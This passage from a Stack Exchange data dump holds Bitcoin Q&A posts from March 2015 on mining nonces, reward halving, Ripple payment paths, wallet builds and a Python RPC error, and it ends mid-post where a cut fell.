  <row Id="36404" PostTypeId="2" ParentId="5048" CreationDate="2015-03-10T23:48:15.860" Score="14" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=9438.msg136344#msg136344&quot;&gt;This&lt;/a&gt; really helped me understand it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A solo miner increments Nonce until it overflows. Then it increments extraNonce and resets Nonce. extraNonce is located in the coinbase transaction, so changing it alters the Merkle root. extraNonce is reset based on the time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-03-10T23:48:15.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36408" PostTypeId="1" AcceptedAnswerId="36418" CreationDate="2015-03-11T11:17:37.147" Score="1" ViewCount="146" Body="&lt;p&gt;When using &lt;a href=&quot;https://github.com/ripple/ripple-rest#prepare-payment&quot; rel=&quot;nofollow&quot;&gt;ripple API Prepare Payment method&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GET /v1/accounts/{:source_address}/payments/paths/{:destination_address}/{:amount}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am struggling with how should I understand &lt;code&gt;paths&lt;/code&gt; part of response?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;paths&quot;: &quot;[[{\&quot;currency\&quot;:\&quot;USD\&quot;,\&quot;issuer\&quot;:\&quot;rMwjYedjc7qqtKYVLiAccJSmCwih4LnE2q\&quot;,\&quot;type\&quot;:48,\&quot;type_hex\&quot;:\&quot;0000000000000030\&quot;},{\&quot;account\&quot;:\&quot;rMwjYedjc7qqtKYVLiAccJSmCwih4LnE2q\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;}],[{\&quot;currency\&quot;:\&quot;USD\&quot;,\&quot;issuer\&quot;:\&quot;rpDMez6pm6dBve2TJsmDpv7Yae6V5Pyvy2\&quot;,\&quot;type\&quot;:48,\&quot;type_hex\&quot;:\&quot;0000000000000030\&quot;},{\&quot;account\&quot;:\&quot;rpDMez6pm6dBve2TJsmDpv7Yae6V5Pyvy2\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;},{\&quot;account\&quot;:\&quot;rHAwwozJw6FHfnJfRQaFXrkGHocGoaNYSy\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;},{\&quot;account\&quot;:\&quot;rMwjYedjc7qqtKYVLiAccJSmCwih4LnE2q\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;}],[{\&quot;currency\&quot;:\&quot;USD\&quot;,\&quot;issuer\&quot;:\&quot;rsP3mgGb2tcYUrxiLFiHJiQXhsziegtwBc\&quot;,\&quot;type\&quot;:48,\&quot;type_hex\&quot;:\&quot;0000000000000030\&quot;},{\&quot;account\&quot;:\&quot;rsP3mgGb2tcYUrxiLFiHJiQXhsziegtwBc\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;},{\&quot;account\&quot;:\&quot;rEtr3Kzh5MmhPbeNu6PDtQZsKBpgFEEEo5\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;},{\&quot;account\&quot;:\&quot;rMwjYedjc7qqtKYVLiAccJSmCwih4LnE2q\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;}],[{\&quot;currency\&quot;:\&quot;USD\&quot;,\&quot;issuer\&quot;:\&quot;rsP3mgGb2tcYUrxiLFiHJiQXhsziegtwBc\&quot;,\&quot;type\&quot;:48,\&quot;type_hex\&quot;:\&quot;0000000000000030\&quot;},{\&quot;account\&quot;:\&quot;rsP3mgGb2tcYUrxiLFiHJiQXhsziegtwBc\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;},{\&quot;account\&quot;:\&quot;rKvPTQrD8ap1Y8TSmKjcK6G7q7Kvx7RAqQ\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;},{\&quot;account\&quot;:\&quot;rMwjYedjc7qqtKYVLiAccJSmCwih4LnE2q\&quot;,\&quot;type\&quot;:1,\&quot;type_hex\&quot;:\&quot;0000000000000001\&quot;}]]&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to read JSON and understand that currencies are being transferred between accounts, what I don't get is in what order? from which to which in what amounts and currencies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what does &lt;code&gt;type&lt;/code&gt; stand for (1 or 48 in example), where can I get list of all types?&lt;/p&gt;&#xA;" OwnerUserId="24666" LastActivityDate="2015-03-11T22:33:07.737" Title="RippleAPI Prepare Payment Paths object" Tags="|transactions|ripple|ripple-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36409" PostTypeId="1" CreationDate="2015-03-11T12:39:27.370" Score="0" ViewCount="271" Body="&lt;p&gt;I have created a new alt coin, and now I want to create a executable of my wallet in ubuntu. I don't know how to create a release build wallet with all its dependencies. How I can build my wallet application?&lt;/p&gt;&#xA;" OwnerUserId="22907" LastActivityDate="2015-03-12T04:03:30.447" Title="How do I create release build of my new bitcoin wallet?" Tags="|bitcoin-core|linux|cryptography|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36410" PostTypeId="2" ParentId="36401" CreationDate="2015-03-11T14:26:39.177" Score="3" Body="&lt;p&gt;Problem Solved!&#xA;&lt;br&gt;&#xA;The new genesis generator locates at &quot;chainparams.cpp&quot;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-03-11T14:26:39.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36412" PostTypeId="1" CreationDate="2015-03-11T16:52:56.037" Score="0" ViewCount="892" Body="&lt;p&gt;I realize it depends on the ASIC as well as GPU.. Just want an estimate for some calculations I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Talking about Bitcoin mining, not an altcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13312" LastEditorUserId="5406" LastEditDate="2016-02-21T15:59:48.920" LastActivityDate="2016-02-21T15:59:48.920" Title="What is the difference in speed between a GPU and an ASIC per dollar of cost?" Tags="|asic|mining-profitability|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36413" PostTypeId="2" ParentId="36412" CreationDate="2015-03-11T20:43:35.170" Score="2" Body="&lt;p&gt;The AntMiner S4 gets 2 TH/s and sells for about $1200. This is 1660 MH per second per dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The AMD Radeon 5830 gets 307 MH/s and sells for about $200. It was released in 2010, so if we assume that graphics cards have doubled in power every 18 months, that suggests that the best Bitcoin mining graphics card on the market today gets 12.2 MH per second per dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they're on the order of a hundred to a thousand times less powerful per dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a generalization.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-11T20:43:35.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36414" PostTypeId="1" AcceptedAnswerId="36416" CreationDate="2015-03-11T20:53:08.963" Score="6" ViewCount="1769" Body="&lt;p&gt;I set out to test &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24650/looking-for-nonces-of-even-numbers/24893#comment29991_24898&quot;&gt;the claim&lt;/a&gt;: &quot;&lt;strong&gt;Every nonce has an equal chance of winning.&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Time Evolution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So, I plotted, with gnuplot, the nonce values vs. hashes for all the valid blocks in the blockchain:&lt;br&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dx4GP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dx4GP.png&quot; alt=&quot;Nonces vs. Hashes&quot;&gt;&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://i.imgur.com/3LkacLD.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/3LkacLD.gif&quot; alt=&quot;Nonces vs. Hashes (cummulative)&quot;&gt;&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://i.imgur.com/W08tgUr.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/W08tgUr.gif&quot; alt=&quot;Nonces vs. Hashes (1,000 blocks shown at a time)&quot;&gt;&lt;/a&gt;&lt;br&gt;&lt;sup&gt;(Also, in the last plot, you can really visualize the change in the difficulty and even see where the difficulty was decreased.)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Histograms&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It makes sense that the nonces found are skewed toward 0 because this is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Selection_bias&quot; rel=&quot;nofollow noreferrer&quot;&gt;selection effect&lt;/a&gt;: most everyone starts searching for nonces starting at 0, so the lower nonces are found first, even though there may be also higher nonces that could produce a winning block:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Hunmr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hunmr.png&quot; alt=&quot;nonces histogram&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are the hashes distributed this way, though?:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7MClK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MClK.png&quot; alt=&quot;hashes distribution&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2-D histogram of hashes and nonces (logarithmic color scale):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4LIaG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4LIaG.png&quot; alt=&quot;2-D histogram of hashes and nonces&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-03-14T02:06:35.717" LastActivityDate="2018-02-05T00:35:30.523" Title="Does every nonce really have an equal chance of winning?" Tags="|hash|sha256|proof-of-work|nonce|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36415" PostTypeId="2" ParentId="36409" CreationDate="2015-03-11T20:58:09.803" Score="2" Body="&lt;p&gt;Bitcoin statically links in all of its dependencies by default, because many of them are consensus-critical and cannot accept a different version. Therefore, you can distribute the binaries that &lt;code&gt;make&lt;/code&gt; creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would recommend setting up &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/gitian-building.md&quot; rel=&quot;nofollow&quot;&gt;gitian deterministic builds&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-12T04:03:30.447" LastActivityDate="2015-03-12T04:03:30.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36416" PostTypeId="2" ParentId="36414" CreationDate="2015-03-11T21:58:31.653" Score="6" Body="&lt;p&gt;It's not unevenly distributed. The reason it appears that way in the graphs above is because the x-axis is plotted in logarithmic units. Here's what it looks like in linear units:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hf2Bz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hf2Bz.png&quot; alt=&quot;Nonces vs. Hashes (semi-log-y plot)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-03-11T22:08:28.713" LastActivityDate="2015-03-11T22:08:28.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36417" PostTypeId="2" ParentId="36414" CreationDate="2015-03-11T22:13:25.583" Score="5" Body="&lt;p&gt;As you noted, the logarithmic scale skews it right, because the number of nonces within &lt;code&gt;log(10, nonce) &amp;gt; 9&lt;/code&gt; is 3 times larger than &lt;code&gt;log(10, nonce) &amp;lt; 9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other factor that might skew the nonces on your chart is that a pattern in the nonces on the blockchain doesn't necessarily mean that it's caused by a problem in the mining algorithm. As a trivial example, imagine if I wrote a mining program that never searched odd nonces. This wouldn't affect its mining power, but a person looking at the output might conclude that odd nonces never produced blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a more realistic example, mining clients spend more time searching low ranges of nonces than high ranges of nonces, simply because they start at 0, and reset every block. This effect becomes less pronounced over time as hashpower per mining client increases.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-11-06T02:43:55.607" LastActivityDate="2016-11-06T02:43:55.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36418" PostTypeId="2" ParentId="36408" CreationDate="2015-03-11T22:33:07.737" Score="1" Body="&lt;p&gt;I believe that &lt;code&gt;type&lt;/code&gt; is a bitfield, defined by &lt;a href=&quot;https://github.com/ripple/rippled/blob/4cbbacc946affa5a99b2fe28224ed6bee5b92a90/src/ripple/protocol/STPathSet.h#L34&quot; rel=&quot;nofollow&quot;&gt;the following C++ code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class STPathElement&#xA;{&#xA;public:&#xA;    enum Type&#xA;    {&#xA;        typeNone        = 0x00,&#xA;        typeAccount     = 0x01, // Rippling through an account (vs taking an offer).&#xA;        typeCurrency    = 0x10, // Currency follows.&#xA;        typeIssuer      = 0x20, // Issuer follows.&#xA;        typeBoundary    = 0xFF, // Boundary between alternate paths.&#xA;        typeAll = typeAccount | typeCurrency | typeIssuer,&#xA;                                // Combination of all types.&#xA;    };&#xA;[snipped]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So 48 (or 0x30) would mean that &lt;code&gt;typeCurrency&lt;/code&gt; and &lt;code&gt;typeAccount&lt;/code&gt; are both set. I think this means that it's currency issued by someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 (0x01) means &lt;code&gt;typeAccount&lt;/code&gt; is set. I think this means that it's an account that contains XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the rest of it, I have no clue.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-11T22:33:07.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36419" PostTypeId="1" CreationDate="2015-03-11T23:25:34.610" Score="3" ViewCount="58" Body="&lt;p&gt;There have been so many altcoins that experimented with parameters like block-time, and I was wondering what turned out to be the minimal feasible time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its 10 seconds for example, there will be so many orphans that the network will not function. So it cannot be too short, but how short can it be for a reasonably functioning network?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2015-06-25T09:40:46.877" LastActivityDate="2015-06-25T09:40:46.877" Title="What is the minimal block time practically possible?" Tags="|altcoin-development|block-interval|" AnswerCount="0" CommentCount="0" ClosedDate="2015-03-12T11:12:00.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="36421" PostTypeId="1" CreationDate="2015-03-12T03:22:42.310" Score="3" ViewCount="330" Body="&lt;p&gt;If bitcoin precision is increased beyond 8 decimals, will the block reward continue halving forever instead of eventually going from 1 satoshi to 0 satoshi?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastEditorUserId="29532" LastEditDate="2016-06-17T08:58:11.963" LastActivityDate="2016-06-17T08:58:11.963" Title="Will the block reward continue halving beyond 1 satoshi if bitcoin precision goes beyond 8 decimal places?" Tags="|mining-reward|reward-schedule|satoshi|divisibility|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36422" PostTypeId="1" AcceptedAnswerId="36427" CreationDate="2015-03-12T03:54:06.427" Score="4" ViewCount="239" Body="&lt;p&gt;&lt;a href=&quot;http://arxiv.org/abs/1310.7935&quot; rel=&quot;nofollow&quot;&gt;This paper&lt;/a&gt; argues that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the bitcoin 4-year reward halving system very disturbing. We see&#xA;  absolutely &lt;strong&gt;no reason and no benefit of any kind to have this sort of&#xA;  mechanism built in a crypto currency&lt;/strong&gt;. On the contrary, we claim that&#xA;  this mechanism is &lt;strong&gt;unnecessary and harmful&lt;/strong&gt;. It somewhat discredits&#xA;  bitcoin as a stable currency which could be a reliable store of value.&#xA;  At the very least it can seriously limit a wider adoption of bitcoin.&#xA;  Therefore we propose to change it as soon as possible and propose a&#xA;  modified reward formula.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is the &quot;4-year reward halving system&quot; flawed?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-03-10T09:38:16.737" LastActivityDate="2016-03-10T09:38:16.737" Title="Is the Bitcoin rewards formula flawed?" Tags="|mining-reward|reward-schedule|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36424" PostTypeId="2" ParentId="36379" CreationDate="2015-03-12T05:57:31.200" Score="1" Body="&lt;p&gt;The easiest way would be doing a snapshot, but this method depends mainly on OS or Hardware support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is creating a bootstrap.dat file, which is basically a concatenation of all blocks in a single file. When the node finds this file in its data dir it loads all blocks from it before connecting to the network, so the initial load can be much faster (again, depending highly on your IO and processing capacity...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a bootstrap.dat file using the tools &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/contrib/linearize&quot; rel=&quot;nofollow&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;. To restore, see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=145386.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11802" LastActivityDate="2015-03-12T05:57:31.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36425" PostTypeId="2" ParentId="36278" CreationDate="2015-03-12T06:22:43.197" Score="1" Body="&lt;p&gt;It really boils down to fixes and any upcoming security issue which are announced with the releases, but in general it's a good idea to upgrade every once in a while (at least it will likely make any mandatory update less painful). The updates should usually be less painful than initial install - sometimes no database rebuilds are even needed, and v0.93 rebuild is very fast too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that sooner or later you will eventually need to upgrade Bitcoin core too. It may be running seamlessly from within Armory but you can also choose to run it yourself as a standalone application - either way updates will be required eventually to pick up the latest changes in the network. Armory updates often comes along with Bitcoin core updates as it need to support any Bitcoin core database changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you use an offline wallet, there are some limitations in the version delta you can have between online and offline wallets - Armory will normally warn you loud and clear about them.&lt;/p&gt;&#xA;" OwnerUserId="11802" LastActivityDate="2015-03-12T06:22:43.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36426" PostTypeId="1" AcceptedAnswerId="36452" CreationDate="2015-03-12T08:42:52.970" Score="2" ViewCount="255" Body="&lt;p&gt;Gavin Andresen made an announcement about this denial of service issue in 2012 &lt;a href=&quot;https://bitcointalk.org/?topic=81749&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but it's light on technical details.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-13T15:36:35.300" Title="What caused CVE-2012-2459? How was it fixed?" Tags="|bitcoin-core-development|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36427" PostTypeId="2" ParentId="36422" CreationDate="2015-03-12T11:05:00.613" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;From &quot;The Unreasonable Fundamental Incertitudes Behind Bitcoin Mining&quot; (page 40):&lt;/strong&gt;&lt;br&gt;&#xA;  With current bitcoin software [6, 7], at certain moments in time the reward for mining is divided by two in one single step. This is NOT compensated by the fact the the diffculty of mining increases all the time. It just adds sudden adjustments every 4 years to a diffculty curve which typically goes systematically up due to a steady increase in the production of new hashes. We predict that in the future the difficulty curve will have a discontinuity at the moment of the 4-year halving. Until now it has not happened because apparently only very small percentage of active mining devices were switched off on 29 November 2012.&lt;br&gt;&#xA;  Inevitably, on one day many devices will stop being profitable and many people may lose their interest in bitcoin. We are talking about the human factor. Investors may decide that they are no longer going to give lots of money to a high-tech industry which has just decreased production of hashes per second and is binning many mining machines at a massive scale due to a strange rule which has no justification and could easily be modified. They might move their money elsewhere and invest in another cryptocurrency. Overall we expect that a sudden slump in profitability of mining is likely to provoke some sort of a much larger ripple in the bitcoin markets, potentially lasting up to 4 full years.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The paper appears to make the argument, that the miner compensation is already decreasing through the rising difficulty, and that the reward halvings will cause &lt;strong&gt;sudden&lt;/strong&gt; drops in mining power which in turn will &quot;provoke some sort of a much larger ripple in the bitcoin markets, potentially lasting up to 4 full years.&quot; As &quot;people may lose their interest in bitcoin&quot;, when their devices stop being profitable. This is because &quot;We are talking about the human factor.&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The presented argument is weak and thinly supported. While the taking effect of the reward halving is sudden, it is well-known and predictable years in advance within a reasonably small timeframe. Professional miners can easily plan their mining capacity and purchases to factor in the reward halving. There is likely to be a reduction in mining capacity, but it is not obvious, let alone inevitable, why the halving event should turn away people. Also, the mining equipment which will be obsoleted would mostly be comprised of less efficient older models, likely to present a smaller portion of the total mining power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, it seems likely that corporate entities with a sufficient stake in Bitcoin would consider either some in-house mining or subsidy of global mining an acceptable cost to protect their previous investments by supporting the network, should the security of the network be in serious doubt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should Bitcoin become sufficiently pervasive, we might actually see Bitcoin mining financed as a public good, similar to other networks such as electricity and roads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion: The paper does not comprehensively discuss potential effects of the halving, but rather asserts a specific scenario, which it supports unconvincingly.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-03-12T11:05:00.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36428" PostTypeId="2" ParentId="36421" CreationDate="2015-03-12T14:09:59.853" Score="3" Body="&lt;p&gt;The &quot;8 decimals limit&quot; is not that, but rather bitcoins are a human readable representation for &lt;code&gt;100,000,000 satoshi&lt;/code&gt;: The software natively computes in satoshi. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens under the hood is that the limit of &lt;strong&gt;satoshi&lt;/strong&gt; that a miner may claim by creating a block halves. Obviously, only whole satoshi can be claimed, (as currently they are indivisible), so after &lt;code&gt;block 6,930,000&lt;/code&gt; when the reward limit drops from &lt;code&gt;1.164… satoshi&lt;/code&gt; to &lt;code&gt;0.582… satoshi&lt;/code&gt; per block, one cannot claim a whole satoshi anymore, as it would be greater than the limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a new smallest unit of Bitcoin would have been introduced by then, we could continue to claim parts of a satoshi until the reward limit drops below that new unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, we will be losing out on part of a satoshi in every block starting with &lt;code&gt;block 2,310,001&lt;/code&gt; when the reward drops from &lt;code&gt;9,765,625 satoshi&lt;/code&gt; to &lt;code&gt;4,882,812.5 satoshi&lt;/code&gt; in approximately 2049.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-08T13:21:59.800" LastActivityDate="2016-02-08T13:21:59.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36429" PostTypeId="2" ParentId="25486" CreationDate="2015-03-12T15:00:57.477" Score="2" Body="&lt;p&gt;The latest bitcoin source doesn't output any debug log in chainparams.cpp. &lt;br&gt;&#xA;You can, &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://github.com/lhartikk/GenesisH0&quot; rel=&quot;nofollow&quot;&gt;GenesisH0&lt;/a&gt; to find your Genesis block hash.&lt;/li&gt;&#xA;&lt;li&gt;make &amp;amp;&amp;amp; sudo make install&lt;/li&gt;&#xA;&lt;li&gt;Run it again, then you will see debug.log within your bitcoin folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-03-12T15:00:57.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36430" PostTypeId="2" ParentId="36421" CreationDate="2015-03-12T16:17:59.213" Score="2" Body="&lt;p&gt;There are several places where the 8 decimals property is listed as something that can change over time. This is true, but not in any meaningful way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course Bitcoin can change. It's a piece of software that people run. If all those people agree to suddenly start using changed software, anything is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the number of decimals is not technically difficult. It would just require an extreme degree of consensus and coordination to make it happen. So unless not changing this is seen as a clear and inevitable danger to the Bitcoin ecosystem, it is very unlikely to ever happen (nor do I think it is necessary, but who knows what the future brings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once we decide to change the number of decimals, anything can be changed. Including, how the mining subsidy changes in the long term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer to your question is: whatever the future Bitcoin ecosystem agrees upon.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="5406" LastEditDate="2015-03-13T08:29:31.940" LastActivityDate="2015-03-13T08:29:31.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36431" PostTypeId="2" ParentId="33980" CreationDate="2015-03-12T16:28:08.243" Score="3" Body="&lt;p&gt;Why do you expect them to be identical?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;no guarantees&lt;/strong&gt; about synchronization between mempool contents. In fact, if there was, we wouldn't need a blockchain at all. We'd just use &quot;time of entering mempool&quot; to order transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions are relayed across the network, but under various conditions, and usually the mempool contents reflects what a node decided to relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reasons for variations between nodes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only the first of two double spends will typically enter the mempool (but some nodes use different policies, such a replace by fee).&lt;/li&gt;&#xA;&lt;li&gt;There are various versions of nodes out there, with different relay fee requirements.&lt;/li&gt;&#xA;&lt;li&gt;In some cases, relay is subjected to rate limiting, which means arbitrary dropping of transactions.&lt;/li&gt;&#xA;&lt;li&gt;Standardness rules have changed over time, changing which types of transactions are accepted into the mempool.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-03-12T16:28:08.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36433" PostTypeId="1" AcceptedAnswerId="36436" CreationDate="2015-03-12T21:37:35.253" Score="2" ViewCount="2639" Body="&lt;p&gt;I'm running a testnet node. I can use bitcoin-cli just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;bitcoin-cli.exe getinfo&#xA;{&#xA;    &quot;version&quot; : 100000,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;[... snipped]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run this python code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException&#xA;import logging&#xA;&#xA;rpc_user = &quot;rpcuser&quot;&#xA;rpc_password = &quot;xxxxx&quot;&#xA;&#xA;logging.basicConfig()&#xA;logging.getLogger(&quot;BitcoinRPC&quot;).setLevel(logging.DEBUG)&#xA;&#xA;rpc_connection = AuthServiceProxy(&quot;http://%s:%s@192.168.1.39:8332/&quot; % (rpc_user, rpc_password))&#xA;print(rpc_connection.getinfo())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEBUG:BitcoinRPC:-1-&amp;gt; getinfo []&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;path&amp;gt;\rawtransactiondemo\raw.py&quot;, line 11, in &amp;lt;module&amp;gt;&#xA;    print(rpc_connection.getinfo())&#xA;[... snipped]&#xA;  File &quot;C:\Python27\lib\json\decoder.py&quot;, line 384, in raw_decode&#xA;    raise ValueError(&quot;No JSON object could be decoded&quot;)&#xA;ValueError: No JSON object could be 